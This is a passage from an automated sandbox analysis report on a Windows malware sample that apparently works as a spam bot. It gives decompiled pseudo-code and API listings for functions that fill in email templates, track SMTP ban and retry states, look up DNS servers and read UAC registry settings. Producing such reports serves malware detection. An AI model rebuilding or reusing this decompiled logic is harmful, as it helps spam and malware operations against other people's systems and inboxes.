RtlAllocateHeap.NTDLL(00000000), ref: 006C2CD6
socket.WS2_32(00000002,00000002,00000011), ref: 006C2CF0
htons.WS2_32(00000000), ref: 006C2D2B
select.WS2_32 ref: 006C2D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 006C2D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 006C2E4B

Strings

p*t, xrefs: 006C2F17

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p*t
API String ID: 127016686-2700130030
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: bbda5ada2b0bed326e424d5173e9667a2bfc0cac36913bac9aba13c36d08952a
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 3961CD71904306ABC720AF64DC08FBBBBE9FB88754F00481DF845A7250D7B598808BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C14D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 006C15EA
lstrlenW.KERNEL32(-00000003), ref: 006C17C1

Strings

D, xrefs: 006C1816
<, xrefs: 006C15C8
@, xrefs: 006C15D0
, xrefs: 006C16B2

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: c656d023134db347fbd9cc007cb9704cc599eefa28924847f02c53eb3020d69e
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 72F18CB15083419FD720DF64C888FAAB7E6FB8A300F00892DF5969B391D7B4D944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 006C764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006C76C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 006C7740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 006C7778
___ascii_stricmp.LIBCMT ref: 006C789D
RegCloseKey.ADVAPI32(?), ref: 006C7937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 006C7956
RegCloseKey.ADVAPI32(?), ref: 006C7967
RegCloseKey.ADVAPI32(?), ref: 006C7995
RegCloseKey.ADVAPI32(?), ref: 006C7A3F

Part of subcall function 006CF3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,006C7713,?), ref: 006CF3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 006C79DF
RegCloseKey.ADVAPI32(?), ref: 006C7A36

Strings

PromptOnSecureDesktop, xrefs: 006C76AE, 006C76B3, 006C76CE, 006C776B, 006C77CF, 006C784B, 006C7864, 006C79AB
", xrefs: 006C77E9

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: 059c686c540ed645ba0bd99825e7777ee77f7343a9ad971b73a2f855c0c7b8dc
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: 9AC19171904209AFDB519BA4DC49FFE7BBAEF45310F1440AEF504E6291EA71DE808F64

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,7519EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

~+t`y+tp*t, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~+t`y+tp*t
API String ID: 929413710-2889758715
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00435047, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043504B
__get_printf_count_output.LIBCMTD ref: 00435059
__invalid_parameter.LIBCMTD ref: 004350E0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004350F5
_write_multi_char.LIBCMTD ref: 0043566E
_write_string.LIBCMTD ref: 00435689
_write_multi_char.LIBCMTD ref: 004356B5
_wctomb_s.LIBCMTD ref: 00435732

Strings

-, xrefs: 0043560E

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 9409bebdd9ae8a206492c0aabb65a5623b9270ea33b2b73e7e23f1ba8881ee41
Instruction ID: b49fca58fb841eacfdb9b6abffca77ca087c2f1c2337f9bbbb19237bd252f183
Opcode Fuzzy Hash: 9409bebdd9ae8a206492c0aabb65a5623b9270ea33b2b73e7e23f1ba8881ee41
Instruction Fuzzy Hash: A2A190B0D016289BDF24DF55CC49BEEB7B0EB88304F2491DAE5197A281E7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
127.0.0.1, xrefs: 0040ADEB
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%OUTLOOK_HST, xrefs: 0040AEC5
%OUTLOOK_MID, xrefs: 0040AEAE
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 006C9576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 006C9590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006C95BE
GetModuleFileNameA.KERNEL32(00000000), ref: 006C95C5
wsprintfA.USER32 ref: 006C961E
wsprintfA.USER32 ref: 006C965C
wsprintfA.USER32 ref: 006C96DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 006C9741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006C9776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006C97C1

Strings

PromptOnSecureDesktop, xrefs: 006C95ED, 006C960D, 006C964B, 006C966C, 006C969F, 006C96C8, 006C96EA, 006C971D, 006C9769, 006C97A0

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: d57a7fdfa34426e8c6a3242793a19724593ca24ffb20331d191b2f8b62e21258
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: 7EA161B1900208AFEB25DFA0CC89FEE3BADEB05740F10402AFA05D6151E7B5D995CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434E95, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434E99
_strlen.LIBCMT ref: 00434EC9
_write_multi_char.LIBCMTD ref: 0043566E
_write_string.LIBCMTD ref: 00435689
_write_multi_char.LIBCMTD ref: 004356B5
_wctomb_s.LIBCMTD ref: 00435732

Strings

-, xrefs: 0043560E
hD@, xrefs: 00434EBC

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$hD@
API String ID: 2232461714-1949201864
Opcode ID: 0b00df70149183ba469cca525efa06dfb1543c67f51dece02663e7f3da0016be
Instruction ID: 9b4f8d1962788148faef0fe488f247d9abec698c374a9832582ebabed40ee531
Opcode Fuzzy Hash: 0b00df70149183ba469cca525efa06dfb1543c67f51dece02663e7f3da0016be
Instruction Fuzzy Hash: B7A17CB4D01629CBDB24DF54CC49BEEB7B1BB88305F1491DAD4086B291E7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323
p*t, xrefs: 0040F375, 0040F3A0

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p*t$time_cfg
API String ID: 311057483-1276725725
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

46A, xrefs: 0040BF85
86A, xrefs: 0040BF98
06A, xrefs: 0040BF70
smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_retr, xrefs: 0040BE61, 0040BF8C
smtp_ban, xrefs: 0040BE55, 0040BF77

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
